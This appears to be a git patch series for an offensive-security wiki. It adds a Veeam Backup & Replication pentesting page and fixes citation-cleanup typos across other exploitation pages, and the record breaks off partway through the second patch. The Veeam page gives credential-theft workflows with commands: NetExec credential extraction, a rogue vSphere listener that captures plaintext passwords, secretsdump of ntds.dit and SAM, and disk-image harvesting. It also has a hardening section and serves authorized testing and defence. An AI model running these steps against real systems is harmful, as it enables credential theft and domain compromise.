From 059fbcf3038d1bdd3009524fb91b087514309ff2 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 13 Aug 2026 13:16:49 +0000 Subject: [PATCH 1/3] Add content from: Breaking Bad Backups --- src/SUMMARY.md | 1 + ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 6 + .../pentesting-smb/README.md | 6 + ...pentesting-veeam-backup-and-replication.md | 122 ++++++++++++++++++ .../privileged-groups-and-token-privileges.md | 6 +- .../dpapi-extracting-passwords.md | 6 + 6 files changed, 146 insertions(+), 1 deletion(-) create mode 100644 src/network-services-pentesting/pentesting-veeam-backup-and-replication.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1f2516b4232..daf76d89645 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -467,6 +467,7 @@ - [Pentesting JDWP - Java Debug Wire Protocol](network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md) - [Pentesting Printers$$external:http://hacking-printers.net/wiki/index.php/Main_Page$$]() - [Pentesting SAP](network-services-pentesting/pentesting-sap.md) +- [Pentesting Veeam Backup & Replication](network-services-pentesting/pentesting-veeam-backup-and-replication.md) - [Pentesting VoIP](network-services-pentesting/pentesting-voip/README.md) - [Basic VoIP Protocols](network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md) - [SIP (Session Initiation Protocol)](network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index dad92c2d3c7..89974859771 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -86,6 +86,12 @@ This attack leverages SMB authentication sessions to access a target machine, gr - The authenticating user must have Local Admin access on the relayed host. - SMB signing should be disabled.[[5]](#references) +Related backup-management chain: + +{{#ref}} +../../network-services-pentesting/pentesting-veeam-backup-and-replication.md +{{#endref}} + #### 445 Port Forwarding and Tunneling In scenarios where direct network introduction isn't feasible, traffic on port 445 needs to be forwarded and tunneled. Tools like [**PortBender**](https://github.com/praetorian-inc/PortBender) help in redirecting port 445 traffic to another port, which is essential when local admin access is available for driver loading. diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index acf9d627d5b..c1ed01a9286 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -542,6 +542,12 @@ find / -name rclone.conf 2>/dev/null rclone reveal ``` +Related Veeam backup-artifact workflow: + +{{#ref}} +../pentesting-veeam-backup-and-replication.md +{{#endref}} + ## Authenticate using Kerberos You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**: diff --git a/src/network-services-pentesting/pentesting-veeam-backup-and-replication.md b/src/network-services-pentesting/pentesting-veeam-backup-and-replication.md new file mode 100644 index 00000000000..97dfb42fad8 --- /dev/null +++ b/src/network-services-pentesting/pentesting-veeam-backup-and-replication.md @@ -0,0 +1,122 @@ +# Pentesting Veeam Backup & Replication + +{{#include ../banners/hacktricks-training.md}} + +Veeam backup infrastructure is a high-value trust bridge: the management plane stores credentials for protected systems, controls jobs and repositories, and may contain complete disk images of privileged hosts. A domain-joined backup server also inherits normal Windows attack paths, so an NTLM relay, reused local administrator password, insecure HTTP WSUS channel, or host vulnerability can become access to both production credentials and recovery data.[[3]](#references) + +Use the dedicated pages for the generic primitives instead of treating them as Veeam-specific flaws: + +- [LLMNR/NBT-NS poisoning and NTLM relay](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- [HTTP WSUS interception](../windows-hardening/windows-local-privilege-escalation/README.md#wsus) +- [Machine-scope DPAPI](../windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md#machinesystem-key-generation) +- [SMB share enumeration](pentesting-smb/README.md#shared-folders-enumeration) + +## Stored credential compromise + +### Recover credentials on the backup server + +On Windows, Veeam protects passwords and other sensitive configuration-database values with DPAPI. This prevents decrypting a copied database on an unrelated machine, but it does not protect the secrets after local Administrator/SYSTEM compromise because Veeam must decrypt them on the backup server.[[3]](#references)[[4]](#references) + +With administrative SMB access, NetExec's `veeam` module checks the Veeam registry configuration, supports the local Microsoft SQL Server and PostgreSQL layouts used by Veeam v11/v12, and executes the corresponding credential-recovery script remotely.[[5]](#references) + +```bash +nxc smb -u -p '' -M veeam +``` + +Treat every recovered account as a separate trust path. Backup credentials should not be Domain Admins; otherwise backup-host compromise immediately becomes domain compromise.[[3]](#references) + +### Capture a selected secret with a rogue vSphere endpoint + +Administrative console access is enough to make Veeam use a stored credential against an attacker-controlled endpoint. The original `veeampot.py` emulates vSphere for this purpose; [VeeamThief](https://github.com/mattmillen15/VeeamThief) updates the workflow for Veeam v12+ by implementing the expected `RetrieveInternalContent` responses.[[1]](#references)[[2]](#references)[[3]](#references) + +Start the listener: + +```bash +sudo python3 VeeamThief.py -p 8443 +``` + +Then, in an authorized test environment: + +1. In **Backup Infrastructure**, start **Add Server -> VMware vSphere**. +2. Set the server to `:8443` and continue through the test certificate prompt. +3. Select the target entry from Veeam Credential Manager. +4. Veeam performs the SOAP authentication flow and the listener prints the username and plaintext password. + +This abuses intended secret use rather than breaking DPAPI: the management plane retrieves the selected password and voluntarily sends it to the newly registered endpoint.[[1]](#references)[[2]](#references) + +### Create a deliberately unencrypted backup + +Strong encryption on existing restore points does not help if the attacker controls job creation. A console administrator can select a stored privileged credential, create a new job for a sensitive machine such as a Domain Controller, disable encryption for that job, run it, and copy the newly generated backup for offline analysis.[[3]](#references) + +## Exposed backup files + +### Offline VBK extraction + +Test anonymous, guest, and low-privilege access to repository shares and search downloaded data for Veeam full backups (`.vbk`), metadata (`.vbm`), incrementals, and exported disk images. Veeam's Extract Utility runs independently of a Veeam server on Windows or Linux; encrypted backup files require the backup password, while an exposed unencrypted VBK can be restored directly.[[3]](#references)[[6]](#references) + +```bash +find /mnt/backups -type f \ + \( -iname '*.vbk' -o -iname '*.vbm' -o -iname '*.vib' \ + -o -iname '*.vhd' -o -iname '*.vhdx' -o -iname '*.vmdk' \) +``` + +```powershell +# Unencrypted VBK +extract.exe "Z:\Backups\DC01\DC01.vbk" + +# Encrypted VBK when its recovery password is known +extract.exe -password '' "Z:\Backups\DC01\DC01.vbk" +``` + +After restoration, a Domain Controller image may expose `Windows\NTDS\ntds.dit` plus the `SYSTEM` hive; a member-server image may expose `SAM` and `SYSTEM`. Process copies offline rather than touching the live endpoint.[[3]](#references) + +```bash +impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL +impacket-secretsdump -sam SAM -system SYSTEM LOCAL +``` + +### Automate VHD/VHDX/VMDK triage with VHDVomit + +[VHDVomit](https://github.com/mattmillen15/VHDVomit) searches an SMB target or local path for disk images, mounts them through `qemu-nbd`, and collects Windows credential artifacts. Its remote mode currently supports password authentication rather than pass-the-hash.[[3]](#references)[[7]](#references) + +```bash +sudo apt install -y cifs-utils qemu-utils ntfs-3g +pipx install impacket + +sudo python3 vhdvomit.py -t # null auth +sudo python3 vhdvomit.py -t -u -p '' -d +sudo python3 vhdvomit.py --local-path /mnt/backups/ +sudo python3 vhdvomit.py --local-path /mnt/backups/DC01.vhdx +``` + +For the equivalent manual Hyper-V image workflow, see [Hyper-V Administrators](../windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md#hyper-v-administrators). + +## Recovery destruction + +Console or write access to a mutable repository can be used to disable jobs and delete, alter, or encrypt recovery points after secrets have been extracted. This combines production compromise with removal of clean restore paths; confirm immutability using a non-destructive, explicitly authorized validation rather than altering real recovery data during a test.[[3]](#references) + +## High-signal review and hardening + +Veeam recommends placing backup components in a separate workgroup or a management domain in another AD forest, using a separate network and a hardened repository, and enabling console MFA. Validate the boundary rather than relying on the architecture diagram: look for foreign group membership, shared administrator passwords, unrestricted workstation-to-console/SQL/SMB paths, and production-domain accounts with backup roles.[[8]](#references) + +Technical checks derived from the attack paths above include:[[3]](#references)[[8]](#references) + +- Require encryption for every job and keep recovery passwords outside the backup server; alert when a job is created with encryption disabled or its encryption setting changes. +- Alert on new vSphere/ESXi endpoints, especially literal IP addresses or unusual port `8443`, and on use of highly privileged Credential Manager entries by new jobs. +- Restrict repository ACLs and firewall paths, then monitor anonymous/guest access, unusually large `.vbk`/`.vhdx` reads, mass rename/delete operations, and deletion of restore points. +- Restrict and audit access to the Veeam configuration database and Remote Registry; unexpected PowerShell launched through remote administration on the backup server is relevant to credential extraction. +- Use dedicated least-privilege backup accounts, MFA for interactive console users, LAPS for local administrators, HTTPS for WSUS, and SMB/LDAP signing and channel binding where applicable. +- Keep at least one recovery copy immutable against compromised backup administrators and test that the immutability window survives management-plane compromise. + +## References + +- [1] [sadshade/veeam-creds - Veeam Credential Recovery and original veeampot technique](https://github.com/sadshade/veeam-creds) +- [2] [mattmillen15/VeeamThief - rogue vSphere credential capture for Veeam v12+](https://github.com/mattmillen15/VeeamThief) +- [3] [Adversary Consulting - Breaking Bad Backups](https://adversaryco.com/blog/breaking-bad-backups) +- [4] [Veeam - How Database Data Encryption Works](https://helpcenter.veeam.com/docs/vbr/userguide/encryption_database_hiw.html) +- [5] [NetExec `veeam` credential-extraction module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/veeam.py) +- [6] [Veeam - Extract Utility](https://helpcenter.veeam.com/docs/vbr/userguide/extract_utility.html) +- [7] [mattmillen15/VHDVomit - SMB disk-image credential extraction](https://github.com/mattmillen15/VHDVomit) +- [8] [Veeam - Securing Backup Infrastructure](https://helpcenter.veeam.com/docs/vbr/userguide/securing_backup_infrastructure.html) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 9e5004018d0..6850a6f62f5 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -281,7 +281,11 @@ Get-VHD -VMId Mount-VHD -Path 'C:\HyperV\Virtual Hard Disks\DC01.vhdx' -ReadOnly ``` -From there, reuse the `Backup Operators` workflow to copy `Windows\NTDS\ntds.dit` and the registry hives offline. +From there, reuse the `Backup Operators` workflow to copy `Windows\NTDS\ntds.dit` and the registry hives offline. Related backup-file workflow: + +{{#ref}} +../../network-services-pentesting/pentesting-veeam-backup-and-replication.md +{{#endref}} ## Group Policy Creators Owners diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 47060e4069c..04b5794075a 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -69,6 +69,12 @@ mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security. # Look for the DPAPI_SYSTEM secret in the output ``` +Veeam-specific DPAPI example: + +{{#ref}} +../../network-services-pentesting/pentesting-veeam-backup-and-replication.md +{{#endref}} + ### Protected Data by DPAPI Among the personal data protected by DPAPI are: From 5d817e730d2b391cfca917733f5dc3c7d9fc6fc6 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:36:55 +0200 Subject: [PATCH 2/3] Restore text corrupted by citation cleanup --- .../7.0.-lora-improvements-in-fine-tuning.md | 2 +- .../arbitrary-write-2-exec/aw2exec-sips-icc-profile.md | 2 +- .../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md | 2 +- .../imessage-media-parser-zero-click-coreaudio-pac-bypass.md | 2 +- .../libc-heap/gnu-obstack-function-pointer-hijack.md | 2 +- src/binary-exploitation/libc-heap/heap-overflow.md | 2 +- src/binary-exploitation/libc-heap/house-of-force.md | 4 ++-- src/generic-hacking/archive-extraction-path-traversal.md | 2 +- src/generic-hacking/tunneling-and-port-forwarding.md | 4 ++-- .../partitions-file-systems-carving/README.md | 2 +- .../svg-font-glyph-analysis-and-web-drm-deobfuscation.md | 4 ++-- .../pentesting-network/dhcpv6.md | 2 +- .../pentesting-wifi/README.md | 2 +- .../linux-basics/bypass-linux-restrictions/README.md | 4 ++-- ...oid-rooting-frameworks-manager-auth-bypass-syscall-hook.md | 2 +- .../macos-installers-abuse.md | 2 +- .../24007-24008-24009-49152-pentesting-glusterfs.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 2 +- .../pentesting-631-internet-printing-protocol-ipp.md | 2 +- src/network-services-pentesting/pentesting-ldap.md | 2 +- .../pentesting-mssql-microsoft-sql-server/README.md | 2 +- src/network-services-pentesting/pentesting-sap.md | 2 +- .../ksmbd-attack-surface-and-fuzzing-syzkaller.md | 4 ++-- .../forced-extension-load-preferences-mac-forgery-windows.md | 2 +- src/pentesting-web/h2c-smuggling.md | 4 ++-- .../postgresql-injection/rce-with-postgresql-extensions.md | 2 +- .../ssti-server-side-template-injection/README.md | 2 +- src/pentesting-web/xss-cross-site-scripting/sniff-leak.md | 2 +- .../xss-cross-site-scripting/xss-in-markdown.md | 2 +- .../active-directory-methodology/kerberoast.md | 2 +- .../windows-local-privilege-escalation/create-msi-with-wix.md | 2 +- 31 files changed, 37 insertions(+), 37 deletions(-) diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 8583d5f109c..33a0c992846 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -19,7 +19,7 @@ LoRA makes it possible to fine-tune **large models** efficiently by only changin 3. **Efficient Task-Specific Fine-Tuning**: When you want to adapt the model to a **new task**, you can just train the **small LoRA matrices** (A and B) while leaving the rest of the model as it is. This is **much more efficient** than retraining the entire model. 4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage. -The following minimal implementation adapts the d notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) +The following minimal implementation adapts the cited notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) ```python import math diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index cfd36adda19..b73761840da 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -99,7 +99,7 @@ The header and tag layout follow the ICC profile format, but this remains a stru ## Impact -Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The d advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) +Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The cited advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) ## Detection & Mitigation diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 8e5c3201753..2fdda88877a 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -42,7 +42,7 @@ Note that entries in `.fini_array` are called in **reverse** order, so you proba #### Eternal loop -The d Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) +The cited Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) - Use your first write to **call the vulnerable arbitrary write function** again - Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md index 27bd11de3cb..c5b88616ee6 100644 --- a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md +++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the d JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) +This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the cited JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) > Warning: This is an educational summary to help defenders, researchers, and red teams understand the techniques. Do not use offensively. diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md index e874f06740d..254e2fa8d2d 100644 --- a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md +++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md @@ -4,7 +4,7 @@ ## Overview -GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the d **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) +GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the cited **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) - `chunkfun` (offset `+0x38`) with signature `void *(*chunkfun)(void *, size_t)` - `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)` diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 6a354e9ed21..9ce39e5b5b4 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -17,7 +17,7 @@ In stack overflows, the layout and data present when the vulnerability is trigge Heap allocations, by contrast, are placed and reused according to allocator policies such as size classes, bins, zones, and freelists. The object adjacent to a vulnerable allocation can therefore be difficult to predict. Exploitation usually requires a **reliable way to place a useful victim object immediately after the overflowing buffer**. -One technique for controlling this layout is **heap grooming**. The d iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) +One technique for controlling this layout is **heap grooming**. The cited iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) In that exploit, several threads force many **`kalloc` allocations to fill existing free chunks and encourage the creation of a new page**, helping place the overflowing object next to a chosen victim.[[3]](#references) diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index ce0f6fe1869..dc0e77682b1 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -22,7 +22,7 @@ In a vulnerable allocator, the attacker corrupts the top-chunk size to the maximum unsigned value, then requests a carefully chosen size that advances the top pointer to just before target address `P`. Request size and `mmap` behavior still depend on allocator checks, thresholds, alignment, and integer arithmetic.[[3]](#references) -Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the d PoC, the request calculation is:[[4]](#references) +Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the cited PoC, the request calculation is:[[4]](#references) ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 @@ -37,7 +37,7 @@ Calculate the distance from the current top chunk to the target. The first craft */ ``` -For the d 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ +For the cited 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ Then call `malloc` again to obtain a chunk overlapping the target address. ### Worked exploit examples diff --git a/src/generic-hacking/archive-extraction-path-traversal.md b/src/generic-hacking/archive-extraction-path-traversal.md index 988d1e0cb2b..81d05ff4f75 100644 --- a/src/generic-hacking/archive-extraction-path-traversal.md +++ b/src/generic-hacking/archive-extraction-path-traversal.md @@ -99,7 +99,7 @@ ESET reported RomCom (Storm-0978/UNC2596) spear-phishing campaigns that attached ## Mitigation & Hardening -1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the d path/symlink issues.[[1]](#references)[[5]](#references) +1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the cited path/symlink issues.[[1]](#references)[[5]](#references) 2. Extract archives with “**Do not extract paths**” / “**Ignore paths**” when possible. 3. On Unix, drop privileges & mount a **chroot/namespace** before extraction; on Windows, use **AppContainer** or a sandbox. 4. If writing custom code, normalise with `realpath()`/`PathCanonicalize()` **before** create/write, and reject any entry that escapes the destination. diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 739a7cd5f6d..e192eb36faf 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -817,7 +817,7 @@ qemu-system-x86_64.exe ^ ### Launching stealthily through VBScript -TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident d above.[[1]](#references) +TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident cited above.[[1]](#references) ```vb ' update.vbs – lived in C:\ProgramData\update @@ -829,7 +829,7 @@ Running the script with `cscript.exe //B update.vbs` keeps the window hidden.[[1]](#references) +The cited incident describes persistence in the stateless Tiny Core guest through `/opt/bootlocal.sh` and `/opt/filetool.lst`:[[1]](#references) 1. Drop payload to `/opt/123.out` 2. Append to `/opt/bootlocal.sh`: diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 38c658971c9..ed04bdf8808 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -97,7 +97,7 @@ The partition table header defines the usable blocks on the disk. It also define | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | | 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | | 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md index db2699f3bc2..a8f178cc638 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md @@ -245,7 +245,7 @@ The source report used run geometry, style fields, and link metadata to preserve - In practice, books converge to a few hundred unique glyphs (e.g., ~361 including ligatures). Cache SSIM results by perceptual hash.[[1]](#references) - After initial discovery, future batches predominantly re-use known hashes; decoding becomes I/O-bound. -- The d report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) +- The cited report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) ## Generalization to other viewers @@ -279,7 +279,7 @@ Adjust parameterization (book ASIN, page window, viewport) to match the reader ## Results achievable - Collapse 100+ randomized alphabets to a single glyph space via perceptual hashing.[[1]](#references) -- In the d 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) +- In the cited 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) - The source report describes the reconstructed EPUB as near-indistinguishable from the original.[[1]](#references) ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index e877f5d1f8e..288d3f62032 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -78,7 +78,7 @@ sudo atk6-flood_dhcpc6 ### Reconfigure Message Caveat -Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolid Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. +Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolicited Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. ## References diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 915df32d59e..6abcdeb3042 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -986,7 +986,7 @@ This method allows an **attacker to create a malicious access point (AP) that re ### MANA -Then, **devices started to ignore unsolid network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solid by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. +Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.[[4]](#references) diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md index 6ba9420b663..c23134c363f 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md @@ -358,7 +358,7 @@ Therefore you can create a *NOP sled for Bash* by prefixing your real command wi # 16× spaces ───┘ ↑ real command ``` -If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the d router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) +If a ROP chain (or another memory-corruption primitive) passes a command-string 